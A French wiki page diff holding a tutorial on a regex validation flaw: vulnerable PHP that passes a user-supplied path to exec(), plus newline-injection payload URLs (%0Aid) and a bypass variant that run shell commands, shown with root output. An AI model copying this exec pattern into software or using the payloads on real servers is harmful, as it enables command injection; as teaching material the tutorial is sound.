Ci-dessous, les différences entre deux révisions de la page.
web:faille_regex_expression_reguliere [2016/03/15 11:10] arkinar créée |
web:faille_regex_expression_reguliere [2016/07/04 08:38] |
||
---|---|---|---|
Ligne 1: | Ligne 1: | ||
- | **Faille Regex : Expression régulière** | ||
- | **1.Présentation** | ||
- | |||
- | Les expressions régulières constituent un système très puissant et très rapide pour faire des recherches dans des chaînes de caractères (des phrases, par exemple). | ||
- | |||
- | Leur mauvaise implémentation peu créer des failles de sécurité. | ||
- | |||
- | Voici un exemple de regex vulnérable : | ||
- | |||
- | <code> | ||
- | /^[\/a-zA-Z0-9\-\s_]+\.rpt$/m | ||
- | </code> | ||
- | |||
- | Elle tente d'associer n'importe quel combinaison de lettres , nombres , points , underscores ,slashes et d'espace se terminant par l'extension ".rpt" | ||
- | Cependant il y'a un défaut que nous exploiterons. | ||
- | |||
- | Exemple de regex vulnérable implémenter dans une code php : | ||
- | <code> | ||
- | |||
- | <?php | ||
- | $file_name = $_GET["path"]; | ||
- | if(!preg_match("/^[\/a-zA-Z0-9\-\s_]+\.rpt$/m", $file_name)) { | ||
- | echo "regex failed"; | ||
- | } else { | ||
- | echo exec("/usr/bin/file -i -b " . $file_name); | ||
- | } | ||
- | ?> | ||
- | |||
- | </code> | ||
- | |||
- | Le script en question va vérifier que la regex soit valide avant de faire un file sur le fichier en question. | ||
- | |||
- | **2.Exploitation** | ||
- | |||
- | Le but de l'exploitation va être d'injecter un retour à la ligne. | ||
- | Celui-ci nous permettra d'interagir directement avec le shell. | ||
- | |||
- | __2.1 Méthode 1 : Retour à la ligne__ | ||
- | |||
- | [[http://localhost/index.php?path=/path/to/file%0Aid%0A.rpt]] | ||
- | |||
- | %0A est un retour à la ligne encodé en URL. | ||
- | |||
- | {{ :web:regex_wl_1.png?nolink |}} | ||
- | |||
- | Pour la regex le payload est sûr. | ||
- | Pour autant , que se passe-t-il dans le shell ? | ||
- | |||
- | <code> | ||
- | |||
- | # /usr/bin/file -i -b /path/to/file | ||
- | ERROR: cannot open `/path/to/file' (No such file or directory) | ||
- | # id | ||
- | uid=0(root) gid=0(root) groups=0(root) | ||
- | # .rpt | ||
- | bash: .rpt: command not found | ||
- | # | ||
- | |||
- | </code> | ||
- | |||
- | Chaque retour à la ligne démarre une nouvelle commande. Le shell exécute arbitrairement notre commande id. | ||
- | |||
- | __2.2 Méthode 2 : Bypass \s__ | ||
- | |||
- | \s étant responsable de la faille, certains développeur auront la malheureuse idée de le remplacer par un espace. | ||
- | |||
- | Ce qui nous donne la nouvelle regex : | ||
- | <code> | ||
- | /^[\/a-zA-Z0-9\- _]+\.rpt$/m | ||
- | </code> | ||
- | |||
- | Il faut mettre le retour à la ligne après l'extension comme ce-ci : | ||
- | |||
- | [[http://localhost/index.php?path=/path/to/file.rpt%0aid]] | ||
- | |||
- | {{ :web:regex_wl_3.png?nolink |}} | ||
- | |||
- | **3.Comment se protéger** | ||
- | |||
- | Faite très attention à vos regex. N'hésitez pas à demander conseil lorsque vous n'êtes pas sur. Les conséquences peuvent être importantes. | ||
- | |||
- | Source :[[https://nvisium.com/blog/2015/06/11/regex-regularly-exploitable/]] |